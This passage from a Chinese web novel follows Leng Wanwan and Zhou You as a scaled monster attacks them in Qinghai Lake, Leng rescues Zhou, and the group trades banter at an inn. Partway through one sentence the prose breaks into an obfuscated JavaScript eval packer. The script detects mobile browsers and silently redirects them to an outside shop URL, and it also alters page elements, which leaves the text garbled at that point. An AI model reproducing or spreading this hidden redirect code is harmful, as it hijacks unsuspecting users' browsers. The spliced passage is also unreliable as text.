骆晓川:“……” 冷晚晚一眼就认出了那辆车,骆晓川就是开着这辆车把她和小夭拦在了半路,她幸灾乐祸地笑:“这报应来的可真是快啊,也不知道是哪位天使替天行道……” 她话还没说完,似乎想到了什么,回头看了眼安静的屋子,一脸服气地笑了笑,心想我们冷家人果然半点亏都吃不了。 滴滴滴…… 门口响起了按密码锁的声音,冷晚晚知道是小夭回来了,灵机一动,存心想要逗逗她,于是慢悠悠走到沙发边,一屁股坐下去,想了想,又故作姿态地翘起二郎腿,双手抱着胳膊,脊背挺得笔直,板着脸眼睛直勾勾盯着门口,摆出一副兴师问罪的姿态。 小夭心情似乎很好,哼着小曲就开了门,一抬头忽然看到冷晚晚坐在沙发上等她,脸色似乎很不好,瞬间便知道情况不妙,需要紧急避险,于是立马别过头假装没看到,大剌剌地甩脱了鞋子,几个纵身跨步,然后腾空往后一倒,接着就四仰八叉躺在了床上,嘴角还带着笑,似乎还在回味着自己的所作所为,一脸满足的模样。 冷晚晚忍着笑意,明知故问:“上个厕所这么久?你到底去哪儿了?” 小夭装傻:“我哪儿也没去啊?就去外面转了转。” 冷晚晚接着演:“哦?那你回来的时候没听到外面都骂上了?是发生什么了?” 小夭继续装傻:“哦,听说有人把骆晓川车的轮胎给扎了。” 说完,嘴角按耐不住浮上一抹得意的笑。 冷晚晚装得一本正经:“这谁干的啊?” “是啊,这大白天的。”小夭有些心虚地跟着附和。 “不会是你干的吧?” 小夭心惊,正想矢口否认,但转念一想,我又没扎别人,扎的是骆晓川,虽然月如妈从小就教育她不能做偷鸡摸狗的事,但是这次是这个家伙有错在先,她这算替天行道、教他做人,不过是给了他一个小小的教训,想到这,她也不打算再隐瞒了。 “昂。”小夭答得干脆平淡。 听了小夭的回答,冷晚晚不吱声了,小夭大气都不敢出,等待“暴风雨”的到来,心里盘算着挨骂就挨骂吧,反正也不会掉二两肉,但骆晓川那气她可真是忍不了,男人总要为自己做的事付出一点代价吧? 正琢磨着呢,没想到下一秒冷晚晚却勾唇莞尔一笑:“扎得好,扎得妙,手艺不错!” 小夭一听这夸奖,立马来了劲头,一个翻身趴在床上,眼睛亮闪闪地看向冷晚晚,兴奋地跟她讲自己是如何找到工具,又是如何扎了骆晓川的轮胎,说到后来,还咬牙愤愤地说:“他应该感谢我没把他的轮胎都卸了扔进湖里。” “那他可真是遇到活菩萨了!” “那可不是!” 说完,两人都仰头大笑起来,只觉得心里痛快极了,就这么笑了好一阵,笑到后来眼泪都出来了,两人才渐渐平静下来,思绪回归现实,这样的闹剧只是短暂的调剂,更多的现实问题再次涌现心头,她们开始各自想着各自的事儿。 过了一会儿,小夭转头看冷晚晚,问道:“怎么样?你……现在应该好了吧?” “嗯?” “你从水里出来之后,我觉得你状态不太对,你现在应该没事了吧?” “嗯,没事了!”冷晚晚转头看向窗外辽阔的湖面,淡淡地回答,脸看不到表情。 “那接下来咱们怎么办?接着等佟刚?还是……” 小夭话还没说完,冷晚晚突然站起身来,小夭一脸懵地看她。 “怎么了?” “我要下湖里一趟。” “现在?” “对,现在!” **** 散了席,二百八一心记挂着家里的旺财,去厨房找老阿妈们要了几个塑料袋,打包了一兜子剩饭剩菜,急匆匆回家喂旺财去了。 这算是正合了周游的意,他这人一旦对别人起了疑心,心里就非常隔应,正愁二百八一直跟着自己不好行动呢,这下好了,二百八一出门,他立马从床上跳起来,手脚麻利地准备了一番,过了一会儿就拎着个大包出门了。 他拎着包沿湖岸走了很久,放眼望去,青海湖辽阔无边,在炽烈阳光的照射下湛蓝如透亮的宝石,这湖美是真美,但怪也是真怪,他又想起在餐厅里看到的那一幕,浪涌下分明有一个浑身长满鳞片的活物在作怪,出于职业敏感,他直觉这里面一定大有文章可做,于是打算到水底一探究竟。 包里装的都是他常年外出探险时的各种装备,这次知道要来青海,还专门带了一套潜水装备,以备不时之需,当然水下拍摄的设备也必不可少。 越往远处走,视野更辽阔,青青的草地,蓝蓝的湖水,天地万物一览无余,他琢磨着应该走出很远了,湖边的客栈早已消失在视野里,诺大的天地间仿佛只有他一人徜徉在湖泊草场间,突然有种遗世独立的自由和畅快。 他转着圈四处看,从湖面刮来的风吹得衣服紧贴在身上,显出挺拔强健的身材,他觉得这里位置不错,根本没人,从这里入水应该也不会有人发现,他脚下站定了几秒,把包扔在一旁,面朝着湖一屁股坐下来。 一层叠一层的浪互相推搡着从远处扑过来,他的思绪也随之翻涌——水里那东西到底是什么呢?会不会就是传说中的水怪?或者像警察说得那样,是某种未知的鱼类生物?跟二百八家中丢失的那个长满鳞片的“蛋”有没有什么关系呢? 一想到水下可能有未知生物,他就莫名有些兴奋,对于探险者来说,这样的机会千载难逢,如果真能拍到什么,那这趟出来也算是值了。 他一边想着,一边打开身旁的手提包,依次从里头拿出水下摄影设备和潜水装备,按说有深潜的装备更好,但这次出来的急,只准备了简单的潜水服和面镜,不过青海湖不算太深,自由潜下去十米左右,应该也差不多了,倒是不用触底。 这些年他走南闯北,遇见不少极端、高风险的环境,为了不断提升各方面生存能力,潜水证、飞行驾照、赛车驾照,反正各种你能想到的证他基本都考了个七七八八,也不是为了炫技,纯属为了发生意外时能凭借一技之长保命。 相对于以往的探险环境,青海湖单从水域环境来说,相对简单,也不复杂,要下水拍摄他倒是不担心,山河湖海他都闯过,眼下复杂危险的反而是人,藏在暗处精心谋划,自己在明处两眼一抹黑,有种人为刀俎我为鱼肉的无力感,他什么都不知道,也想不明白,连伸出去的拳头都不知道该对着谁。 冷晚晚和小夭?二百八?骆晓川?佟刚?或者是修车铺的西瓜皮? 他不确定,好像每个人都有嫌疑,但细想,里头似乎又另有玄机,他觉得自己脑子不够用,想得多了脑瓜子疼,索性不想了,算了,静观其变吧,既来之则安之,看这群人还能折腾出什么花样来。 潜水服很紧,穿好花了点时间,再穿上脚蹼,戴上防水手表和潜水面镜,一切准备就绪,他拿着小型水下摄影机慢慢往湖里走,等到水位没腰,一个伸臂纵身,熟练平稳地入了水。 他先在水里适应了一会儿,才慢慢朝着深水区游去,待身体渐渐适应了,他立马调整姿势,扎头朝下不断下潜。 水下世界安静得很,静到只能听见自己的心跳,今天天气晴好,水下能见度很高,虽然下潜的深度不深,但湖底的砂砾、碎石、水草都一览无余,偶尔还能看见淤泥中掩埋着祭海的宝瓶。 祭海是青海湖最隆重的仪式之一,周游之前听说过,不过还没亲眼见过,每年七月十五,当地民众就会盛装跟随活佛和僧侣煨桑、抛洒"龙达",并将宝瓶投入湖中。 宝瓶是祭海仪式中不可或缺的祭祀物品,表面绘上五彩斑斓的特色图案和花纹,内部装有青稞、小麦、豌豆、玉米、蚕豆五种粮食,同时还将珊瑚、蜜蜡、玛瑙等碾成粉后和这五谷混合在一起放入宝瓶,最后还要放入经幡,由活佛加持系带,向湖里抛洒宝瓶,祈求人畜兴旺、风调雨顺、五谷丰登。 周游查看了一番,没什么收获,他看了一眼腕上的手表,已经潜了四分多钟了,就要到他闭气时长的极限了,安全起见,他打算先上去喘口气。 再次下潜时,他去了更深处,看见不少绑着经幡的石墩子,他猜测应该是藏民祈福用的,听说藏民有水葬的传统,所以他们都不吃鱼,也不知道早年间青海湖里有没有搞过水葬? 正想着,不远处一团黑黢黢的东西快速靠过来,随着距离越来越近,体积肉眼可见地越来越大,周游心头一震,想着不会就是那东西吧?竟然这么容易就碰到了?这是什么运气? 一时间难掩兴奋和激动,不过理智告诉他,毕竟是在水下,在不了解那东西是什么,攻击力如何的情况下,一定要格外小心。 周游尽量压低身位,屏息凝神,举着摄影机对准那团快速靠近的东西,那东西速度很快,眨眼就到了近前,这时他才看清那哪是什么不明生物啊,其实就是无数游鱼聚集成的鱼群,密密实实,打眼看过去黑乎乎的一团,细看应该都是青海湖里独有的湟鱼。 多少有些失望,不过他也明白,本来就不应该抱有期待的,很多生物其实都爱夜间出动,他白天下水也纯属想碰碰运气,也没想着真能遇上,再说了,他在水下也没潜多久,这要真能遇到,那才是运气爆棚,中彩票了。 不过,既然下水了一趟,能多拍一点素材就多拍一点,总比什么都没拍到的好。鱼群铺天盖地地游过来,他小心避让,不敢有大动作,想要尽量不惊扰鱼群。 鱼群动作整齐划一地摆动鱼尾,嗖嗖嗖几下,快速与他擦身而过,就在交错的霎那,周游心里突然冒出一种奇异的感觉,说不上来,就莫名觉得心跳变得没有规律,怪怪的。 等鱼群稍微游得远了,周游立马大头朝上,双腿奋力摆动往上游,迫切想要上去透透气。这一番折腾下来,出水的时候就已经消耗了大半的体力,摘下面镜,一边喘着粗气大口呼吸,一边慨叹:“就知道不会这么容易遇到!” 说话间,有咸湿的湖水进到嘴里,他噗噗往外连吐了好几口,顺势往远处看去,远处的湖面波光粼粼,仿佛和天融成了一片,夺目的光亮晃得人睁不开眼,他下意识眯起了眼睛,水滴顺着前额和鬓角缓缓淌过脸部硬朗的线条,最后连成一条线,重归湖水的怀抱。 他向后捋了捋额前的头发,双手弯曲在眼前搭起一个遮阴的小棚子,他眯着眼睛死盯着亮光闪烁的湖面看,看着看着,突然发现了不对劲,在亮光闪闪的那一处分明有白浪在翻腾。 这……不会是? 他心里一阵激动,赶忙戴上面镜,又一头扎进水里。 他凭着记忆,朝着白浪的方向快速前进,游到中途,他突然停了下来,目光所及处有个黑影正快速靠近,速度极快,快到他仿佛听到了咻咻咻的音效声。 前一秒还在十米开外,后一秒就朝着他直冲过来,还没等他反应过来,眼前只看到一团模糊的残影,就迎面感受到了一股巨大的冲击力,瞬间就被撞得白眼一翻,晕死过去。 也不知道过了多久,周游悠悠转醒,迷迷瞪瞪地睁开眼睛,发现自己的身子正浮在水面上,还一点点往岸边移动,心里一惊:“我怎么自己在动?是出现幻觉了?还是在做梦?” 这时,冷晚晚听到动静从水里钻出头来,看了他一眼:“哟,醒了?!” “卧槽,女鬼……” 周游吓得惊叫出声,本来精神就还没恢复,这下还没看清楚眼前人,就情绪上顶,两眼一翻又昏死了过去。 冷晚晚:“……” 她一边费劲巴拉驮着人高马大的周游往岸边游,一边骂骂咧咧:“看起来人高马大的,结果胆子比老鼠还小,就这样还探险呢?我看就在家待着比较好,免得给别人添麻烦!姐真是倒了八辈子霉,不光要对付那怪物,还要救他……怎么这么沉,跟头牛似的!!!” 冷晚晚越想心里越火大,忍不住仰头咆哮:“啊啊啊啊啊,苍天啊,大地啊,姐上辈子到底造了什么孽啊!!” 一顿疯狂输出后,她渐渐平静下来,又回想到方才在水下的惊险时刻,还心有余悸。 她下水没多久就发现了那怪物的踪迹,她觉得挺奇怪的,一般的动物为了生存安全,一般都会昼伏夜出,白天蛰伏,夜晚外出觅食,但这怪物却在白天异常活跃,甚至会主动攻击人类,实在有些胆大妄为,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351830|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些不太符合常理。 那怪物很是机敏,很快也发现了冷晚晚,立马张牙舞爪搅动水流,水中立刻像是刮起了龙卷风,成片的白色水泡翻腾旋转成一条条白色的水柱,原本清澈的湖水登时浑浊一片,能见度大大降低,一时间像是在眼前罩了一层雾玻璃。 冷晚晚小心谨慎盯着晦暗不明的四周,生怕那怪物趁机偷袭,也真是怕什么来什么,那怪物像鬼魅一般,悄无声息就朝着她冲过来,等到发现它时,已经近在眼前,甚至能看到它周身根根漂浮着的长毛,冷晚晚吓得一个激灵,几乎是条件反射,一个侧身转体,擦身躲过,形势实在凶险,她的一颗心几乎都悬到了嗓子眼。 那怪物见没攻击到她,勃然大怒,浑身的鳞片瞬间竖起,就像竖起无数根尖刺的刺猬,看得冷晚晚毛骨悚然,她下意识就捏紧了腰间的腰包,好在来的时候有准备,里头装了几条“天罗地网”,眼前这状况肯定得正面交锋了,虽然有“天罗地网”,但她还是没有十足的把握。 以前在水下来来去去,打交道最多的就是鱼和死尸,像这样凶恶的水中怪物还是第一次,她不确定自己能不能应付,不过现在再想这些也来不及了,必须硬着头皮上,而且必须要赢。 那怪物作势就要冲过来,她心跳得厉害,感觉心下一秒就要从嗓子眼里蹦出来,因为紧张,手都有些无法控制的颤抖,她强自振作精神,从腰间抽出一条“天罗地网”,抬手对准怪物的方向,准备随时击发捕获。 那怪物扑到中途突然打住,脑袋扬起,眼中现出奇幻的光晕,像是收到了什么指令,下一秒立马调转方向逃也似的跑了,冷晚晚左看右看不明所以,所以是怎么了?怎么突然就跑了? 不管了,先追过去再说,她带着满脑子的疑问追了过去,那怪物不断回头看她,眼中的奇幻光晕越来越浓重,就在不断回头的过程中,一个猝不及防,它突然撞上了水下的周游,人当场就晕死过去。 冷晚晚没想到水下还会有别的人,看那人一身潜水装备,以为是哪个不知死活的游客呢,那怪物被撞到了,似乎也有一点懵,愣在原地好一会儿,冷晚晚看得心惊肉跳,生怕下一秒那人被怪物一口吞了,毕竟是条人命啊。 她没想太多,直接趁着怪物愣神之际,赶紧按下“天罗地网”的开关,网子瞬间喷射而出,迅速在怪物身后拉伸展开,像一朵盛放的花,又像是一个大张的嘴,下一秒就将那怪物全身罩住。 那怪物受到了外部攻击,迅速清醒,立马竖起鳞片扭动挣扎,为了万无一失,冷晚晚决定先下手为强,立马启动了网子上的锋利的铁片扇叶,一时间被绞断的黑色毛发上下翻飞,细碎的鳞片四下飘散,怪物疼痛难忍,拼命横冲直撞,在水中来回翻腾,冷晚晚拽着网子的手柄被带着在水中甩来甩去,像是坐上了云霄飞车,五脏六腑都颠了个,恶心、头疼、眩晕、胸腔压迫,再这么下去就挺不住了。 她当机立断甩脱了手柄,身体随即就坠了下去。 那怪物眼见没了拽拉的力量,赶紧拖着网子一溜烟跑了。 冷晚晚这才如释重负地停顿了几秒,待身体的不适感稍稍缓解,她立马展臂摆腿,奋力向着已经晕死过去的人靠过去,来不及多想,拖着他就往湖岸方向游去。 眼下不是跟那怪物对抗的时候,“天罗地网”能束得了它一时,难保中间不会出现什么意外,现在救人保命更重要! 那时候她还不知道自己救的是周游,等拖着人出了水面,摘掉面镜,看清五官后,她一下子就愣住了,这不是周游吗?他不是拿着包走人了吗?怎么会在水里? 在水里,冷晚晚习惯了轻松自如、随心所欲,但眼下背上多了个男人就不一样了,犹如泰山压顶,真是要了亲命了,再加上早上已经下水游了一遭,这会儿体力很快就告了急,憋气变得有些力不从心,胸腔里撕裂一般疼,她好几次不得不停下来,探出头来大口呼吸。 好在现在是白天,那东西又被“天罗地网”伤了,一时半会儿应该不会追过来了,不过以防万一,还得抓紧时间上岸。 想到这里,冷晚晚又扎头一阵猛游,游出了好一段。 不知道又过了多久,冷晚晚觉着全身发软,眼冒金星,肺都要炸了,她知道已经到了身体的极限,又一次从水面探出头来,这时才发现太阳已经开始西落,阳光斜打在湖面上,犹如撒了一层梦幻金粉,波光闪耀,煞是迷人。 离岸边很近了,她咬紧牙关,凭着最后一点力气一口气游到了岸边,她都忘了自己是怎么手脚并用把周游拖上岸的,只记得累,昏天暗地的累,铺天盖地的累,累得都睁不开眼睛了,脑子里空白一片,整个人就跟一摊烂泥似的摊在岸上,半拉身子还泡在水里。 她浑身湿透,脸色发白,衣服紧贴在身上,胸口剧烈起伏着,太累了,累得连吐槽的力气都没了,只是不住地喘着粗气。 就这么喘了一阵,待气息渐渐稳了,她这才想起周游躺在一旁一直没什么动静,这家伙不会有什么事儿吧?自己费了老鼻子劲救上来的,可不能出事!她有点担心,赶忙转过头去看,只见他躺着一动不动。 冷晚晚觉出不对劲,伸手推了推他:“诶,醒一醒!醒一醒!” 一连推了好几次,周游一点反应都没有,冷晚晚慌了,赶紧伸手去摸他的颈动脉,也许是太过慌乱,连摸了几次都没感觉到跳动,心里咯噔一下,心想着不会真出事儿了吧?浑身一个激灵,赶忙爬起身来,半跪在周游的身旁,拍了拍他的脸:“周游,你醒一醒!醒一醒!” 周游双眼紧闭,脸色惨白,仍旧没反应,冷晚晚有些不安地伸手去探他鼻息,探了几次似有若无的,冷晚晚越发慌了,索性跨坐在他身上,准备心肺复苏。 她学过,双手掌根交叠,放置在胸骨最下端往上约两横指的地方,开始有节奏的按压,一下,两下,三下…… 时间一分一秒过,周游还是没有苏醒的迹象,冷晚晚急得像热锅上的蚂蚁,也顾不得许多,一把抬起他的下巴,捏住他的鼻子,俯身下去帮他人工呼吸。 唇与唇相碰,她按脑中所学,忙不迭地往他嘴里吹气,气还没吹几口,周游突然睁开了眼睛,首先进入眼帘的是一张清丽的脸,接着是唇上陌生而柔软的触感,周游还是懵的,就这么呆呆地看着眼前的姑娘,几秒过后,意识回流,他瞬间反应过来,脑子里轰一下炸开,他僵了几秒钟,然后突然惊醒,一把推开冷晚晚,身子下意识往后挪了挪。 冷晚晚见他终于醒了,整个人如释重负,浑身一下子卸了劲,软趴趴地歪坐在地上,看着周游只是笑,笑得有气无力的,后槽牙都能看见。 周游蜷缩着身体,一副被人占了便宜的模样,捂着嘴巴语无伦次:“你刚刚……在……在干……干什么……” 冷晚晚看他那个样子,简直要气笑了,心想整这死出,不知道的还以为是她霸王硬上弓呢,她气得咧了咧嘴:“什么你你你,还不谢谢姑奶奶我,救了你狗命!” 周游像是没听懂她的话,就那么定定地看着她,魂好似都丢了,脑子里乱极了,他记得自己明明在水里游得好好的,然后突然被什么东西撞了,再然后他就不记得了,这会儿怎么会在岸上?还有冷晚晚怎么会在这里? “到底怎么回事?我怎么到岸上了?”他低头喃喃发问,既像是在问冷晚晚,又像是在问自己。 冷晚晚瞥了她一眼,没好气地说:“你还好意思问呢,要不是姑奶奶我,你这会儿已经喂了湖里的鱼了,你知道救上来费了多大的劲吗?你要记着,你可欠姐一条命!” 周游愣愣怔怔地坐着,不断尝试着回想水下的场景,可想来想去记忆都是零零散散的,他回头看冷晚晚:“你说你在水下救了我?所以到底发生了什么?你为什么也下了水?” 冷晚晚不咸不淡地看他,不答反问:“我还没问你呢?为什么下水?” 她记得他明明拎着个大包走了,怎么又会潜入湖里? 周游沉默了一会儿,直直地看向冷晚晚的眼睛:“你不是也看到了吗?那怪物,浑身长满鳞片的怪物。” **** 31. 端倪 一说到水下那东西,冷晚晚就来气,要不是眼前这个男人搅局,她早追上那玩意儿了,这下可好,竹篮打水一场空,还差点为了救他累个半死。 冷晚晚一手撑在身后,疲累地仰头看天,一手将湿漉漉的头发捋到脑后,露出光洁白皙的面庞和纤细柔滑的脖颈,她长长吐出一口气,没好气地说:“你说你,水性不好就别下水啊,我要不是为了救你,早抓住那东西了!” 果然,她也看到了! 周游有些茫然地看着她,又看了看辽阔的湖面,努力回忆着之前发生的一切,脑子里只剩下黑影撞过来的短暂片段,还有刚刚睁眼的瞬间,眼前清丽的脸庞和嘴上那一抹柔软的触感。 想到这里他心头突地一热,眼神不由自主地又看向冷晚晚,见她扭头看他,又慌忙地避开了视线。 过了一会儿,他才低头,讷讷地说:“我不记得了。” 说完,又问:“你知道那东西是什么吗?” 冷晚晚摇摇头,索性倒头躺下,眯着眼睛看向湛蓝刺眼的天空,低声自言自语:“不过,我会弄清楚的。” 说完,闭眼静静地躺着,胸腔平缓地起伏,耳朵向世界敞开,听着风声在高处鼓荡,云朵被吹得细碎破裂,她的手指轻轻摩挲着大地,像是已然跟天地融为了一体。 周游在一旁费劲地脱掉了潜水服,固定在身上的拍摄设备早就没了踪迹,他估摸着应该是掉在湖里了,这趟下水纯属于赔了夫人又折兵,什么没拍到,还丢了设备! 身子虚脱一般沉重,他叹了口气,也懒得管这些了,学着冷晚晚的样子,闭眼躺倒在地,几秒后,又忍不住睁开眼,转头静静地看她,就像在看一个凭空生出来的风景。 天色渐渐暗下来,黏在身上的湿衣服半天干不透,只在表面结了一层白色的盐霜,浑身紧绷干燥的难受,冷晚晚实在受不了,一骨碌翻身坐起来,冲着周游说:“走吧,我们回去吧!” 回去的时候,周游闷不吭声,埋头走在后头,刻意跟冷晚晚拉开了距离,冷晚晚走着走着觉得奇怪,突然停下来一回头,就看到周游像被人点了穴,定在原地不走了。 冷晚晚满脑袋问号,但又怕是自己多想了,于是反复试了几次,只要她突然停下脚步,周游在后面就会立即跟着停下来,等到她继续往前走,他才会接着迈步往前走。 如此反复多次,冷晚晚实在忍不住了,心想这人是什么毛病?自己是什么可怕的东西,方圆几米不能近身吗? 她越想越烦躁,突然转过身,一个充满怨念的眼神甩过去,冲着周游大喊:“你跟我并排走,我会吃了你啊?” 周游被突如其来的一嗓子吓了一大跳,僵在原地一动不敢动,帅气的脸上浮现出慌乱的神色,他有些无措地挠了挠脑袋,吞吞吐吐地说:“我……我在想事情,靠近你会……会影响我的……我的思路,对,思路……” 像是费尽心思,好不容易才想出的答案。 冷晚晚:“……” 她无语地嗤笑了一声,白眼翻上天,心想长得挺好的一人,怎么偏偏就长了嘴呢?算了,本来就够累了,她懒得再跟他计较,鼻子里冷哼了一声,转头就走,结果越想越气,脚下步伐下意识加快,最后竟然快步如飞,把周游远远地甩在了身后。 就这么猛走了一阵,直到客栈出现在眼前,她才忿忿地回头,看了眼身后的周游,一脸嫌弃地吐槽:“你不想靠近我,我还不想靠近你呢!” 说完,她便大跨步往客栈走。 西斜的残阳映在湖面上,染出了油画般的光晕和质感,美得绚烂。 救援的车辆还停在湖边,冲锋舟徒劳地在湖面往来飞驰,在夕阳的映衬下,显得无力而悲凉,围观的人群早已散去,因为没人再相信会有奇迹。 冷晚晚又想起在水底的一幕,一个鲜活的女孩子,人生都还没开始,就那么消失了,实在可惜可叹,她暗暗下决心一定要把那怪物揪出来,不能让那个女孩子走得不明不白。 她长叹了一口气,往客栈门前扫了一眼,骆晓川那辆被扎了轮胎的车已经不见了,一想到这都是拜小夭所赐,冷晚晚低沉的情绪就得以缓解,忍不住扯了扯嘴角,也不知道这丫头脑子里怎么这么多鬼点子,这样也挺好,在外面不会吃亏,怪只怪骆晓川得罪错了人。 她想着低头跨进客栈大门,刚往里走了两步,就看见小夭仰头躺倒在前台的椅子里,懒懒散散地晃来晃去,嘴里叼着根棒棒糖,在心不在焉地打电话,电话应该一直没人接,她不时把手机拿到眼前看看,再放在耳朵边听着。 二百八则撅着个大屁股趴在前台的桌子上,笑呵呵地跟小夭搭话,小夭一脸爱答不理,正眼都没瞧他一眼,但二百八仍然乐此不疲,嘴里叭叭不停。 听到脚步声,小夭和二百八一齐往门外看去,先是看到了冷晚晚。 “这么快就回来了?”小夭放下手机问。 “嗯,央金呢?你怎么在这儿?”冷晚晚问。 “央金去看小马了,让我帮忙照看一下。” “骆晓川呢?走了?” 一说到骆晓川,瞬间就勾起了小夭的回忆,想起他狼狈的样子,就忍不住咯咯发笑。 “他啊,灰溜溜地走了呗。” 正说着,周游失魂落魄地从门外走进来,所有人又齐齐看向他,小夭这才发现两人身上、头发都潮乎乎的,一看就是都下过水了,接着她又敏锐地感受到周游看向冷晚晚的眼神不太寻常,一种怪异的氛围萦绕在两人身上,直觉告诉她,这俩人一定发生了点什么。 小夭瞥了眼周游,又把视线转向冷晚晚,试探问:“你们俩,不会一起下水了吧??” 没想到下一秒,两人几乎异口同声地激烈否认:“没有!” 此话一出口,冷晚晚猛然回头瞪了周游一眼,像是在怪他多嘴,周游被瞪得浑身一抖,抿嘴不敢说话了。 强烈的否定代表什么?代表肯定啊!傻子都知道这俩没说实话! 这俩人之间这奇妙的氛围,怎么回事? 小夭眯起眼睛,像一只狡黠的猫,意味深长地看向两人,就连一旁迟钝的二百八也看出这俩人不对劲! “不是,你们俩真一起下水了啊?”二百八看着周游追问。 其实,两个人一起下水也没什么,还有个人照应,只是这俩人表现的太过怪异,很难不让人浮想联翩,心生怀疑。 见情势不对,周游丢下一句“我回去洗澡了”,拔腿就往房间的方向走,弄得跟落荒而逃似的,实在有点欲盖弥彰了,这愈发让小夭和二百八确信,这两人一定发生了点什么。 “诶,诶,诶,你别走啊!” 二百八大喊着追了上去,他心里实在好奇,明明吃饭的时候还如仇如敌呢,怎么这会儿就情势大变呢,周游刚刚看冷晚晚那眼神,畏缩中带着几分期待,期待中又带着几分羞涩,不对劲,实在不对劲,不会这两人一起出趟门,水里游了几圈,就瞒着他看对眼了吧? 毕竟男的帅女的美,又是干柴烈火的年纪,凑到一起怕是都能自燃咯! 他跟在周游屁股后头一路小跑,忙不迭地追问:“诶,说说,说说,你跟那个冷晚晚是不是有事?” 周游回头瞪了二百八一眼:“天天胡说八道,我看你这嘴是不想要了吧?要不我给你缝起来?” 二百八撇撇嘴,不满地揶揄道:“就敢跟我横,刚刚可没见你这么硬气!人家一个眼神,你就熄了火!” 周游懒得理他,快步走到房门口,准备开门进去,二百八跟在后面,絮叨个不停。 “兄弟可告诉你啊,那两个女的不简单,之前的事儿都还没搞清楚呢,说不定个个都是蛇蝎心肠,你可别色迷了心窍,见人姑娘美,就把持不住,什么也不顾了啊……” 这话要是别人说的,周游兴许还能听两句,但这话从二百八嘴里说出来,就格外讽刺了,他二百八是什么人啊,那可是“案底”一大堆的渣男,不想着担心自己,反倒教育起别人来了? 周游真是开了眼,忍不住发笑:“我把持不住?我看你还是担心担心自己吧!狗能改得了吃屎?” 二百八一听这话,登时就急了眼,扯着嗓子嚷嚷:“你什么意思?!你骂我是狗?!” 周游懒得再跟他废话,输密码开门,一进去就迅速反手关上了门,门关得猝不及防,二百八一张大脸差点撞在门上,他愣了一瞬,眼睛眨巴眨巴,好一会儿才意识到自己被周游关在了门外,随后就在门口骂骂咧咧起来。 周游大门一关,充耳不闻,转身就拿了条浴巾进了浴室。 浴室里热气蒸腾,周游站在喷头下,一只手抵着墙壁,低头闭上眼睛,尽力回想刚刚在水下的种种情形,也许是受到冲撞的缘故,脑中的回忆像是卡帧的视频,一顿一顿,十分不流畅,他烦躁地搓了搓头发,又想到了那个一闪而过的黑影,那东西到底是什么呢?怪只怪自己晕得太早,根本没看清,实在遗憾。 热水顺着后颈,流过宽阔的背脊,又淌过肌肉紧致的腰腹,身上前后各处疤痕清晰可见,有大有小,形状各异,这些都是他在外拍摄探险时留下的,见证了他一次次的身处险境,有几处都是要害,还差点要了他的命,好在有惊无险,活到了现在。 源源不断的热水带走了身体的不适,也熨帖了紧绷的情绪,就在精神放松的一瞬,冷晚晚那张清丽的脸突然毫无顾忌地闯了进来,仿佛活生生站在眼前,身上还带着淡淡的馨香,她睁着一双明媚大眼静静地看着他,看得他浑身燥热,心跳如鼓,眼中渐渐散起大雾,像是突然失去了心智。 下一秒,他猛地一个激灵,瞬间清醒过来,吓得赶紧把洗澡水调到了冷水档,好好淋了个透心凉,这才彻底清醒过来。 “周游,你疯了!”他惊觉自己的反应,低声警告自己。 这澡得快点洗了,免得胡思乱想! 他心烦意乱地在手心挤了点洗发水,打出泡沫,胡乱地从头抹到脚,之后潦草地冲洗完,下身裹了条浴巾就出去了。 二百八显然已经等候多时,估计骂累了,瘫在沙发里一动不动,先前愤怒的情绪似乎已经自我消化,见周游出来了,随意瞥了一眼,等看清他身上条条道道、新旧交叠的疤痕,登时瞪大了眼睛,蹦着坐起身来,忍不住惊呼:“卧槽!!!卧槽!!!!” 周游回头瞅他,不耐烦地啧啧了两声:“你鬼吼鬼叫什么!” “你是去当特种兵了?还是加入□□了?身上怎么这么多疤?”二百八满头疑问。 以他有限的认知,实在难以想象,通过什么方式才能搞到这样遍体鳞伤的地步。 周游低头去抽屉里拿吹风,没好气地接话:“嗯,不是特种兵,是雇佣兵,专门收钱突突你这种人渣!” 一听这话,二百八便知道他是瞎说,纯粹寻自己开心了。 “唉,我认真的!”二百八瘪瘪嘴,一脸正色地指着自己的身体示意了一下,“你这些都咋弄的啊?!” 周游对着镜子吹头发,吹风嗡嗡作响,随口一答:“上山下海拍摄弄得呗,你以为网红那么好当啊?” 语气透着一种平淡的疯感,就好像打工人常说“上班哪有不疯的道理”,言语间竟然还拿“网红”自我调侃,这可是他最讨厌听到的称谓,二百八立马看出这哥们儿似乎心情不错,虽然面上没表露,但有些男人就是这样,最会口是心非,装模作样了,他是男人,他懂。 为了证实自己这一想法,他想豁出去试探一下,于是看着周游,感叹道:“我靠,你这当网红也不容易啊,还要这么豁出命去!” 说完,屏息等待了两秒,没炸!听到网红这个词,周游没炸! 这下二百八敢确定了,这家伙心情确实不错! 他大着胆子站起身来,背着手走到周游身后,盯着他身上的疤,左看看右看看,看得周游浑身不得劲。 周游嫌恶地转头来,斜了他一眼:“你干嘛!” “你别说,这些疤长在你身上,还挺性感的!”二百八细细打量着周游的身体,就像在看一件艺术品,末了露出羡慕的眼神。 这话他夸得真心实意,这条条道道的疤长在二百八身上,再配上他结实的身材,特别有一种野性的魅力,就像动物世界里勇猛冲锋的雄性,性张力拉满,他都不敢想,这些疤要是长在他身上,肯定跟癞蛤蟆转世似的,不知道该有多灾难。 周游像是听到了什么鬼故事,瞬间起了一身鸡皮疙瘩,脸色刷一下就变了,他下意识护住裸露的上半身,骂道:“滚滚滚,你离我远一点!你这些‘骚’话别用在我身上,我嫌恶心!” “嘿,我夸你呢,你这人怎么好赖不分呢!”二百八无语。 周游不愿意搭理他,赶紧又吹了两下头发,就急急忙忙拿着换洗衣服去卫生间换了。 一时间没有了对话的对象,二百八无聊地绕着屋子走了两圈,最后又一屁股坐回了沙发里,这时他才想起来,自己还有好多问题没问呢,光顾着看伤疤去了。 过了一会儿,周游换好衣服出来,二百八眼珠子滴溜溜转,迫不及待地开口试探:“听小夭说,我走了之后,你就拎着个大包出去了,你去哪儿了?” 周游疲累地倒在床上,没吱声。 二百八急了:“你……不会 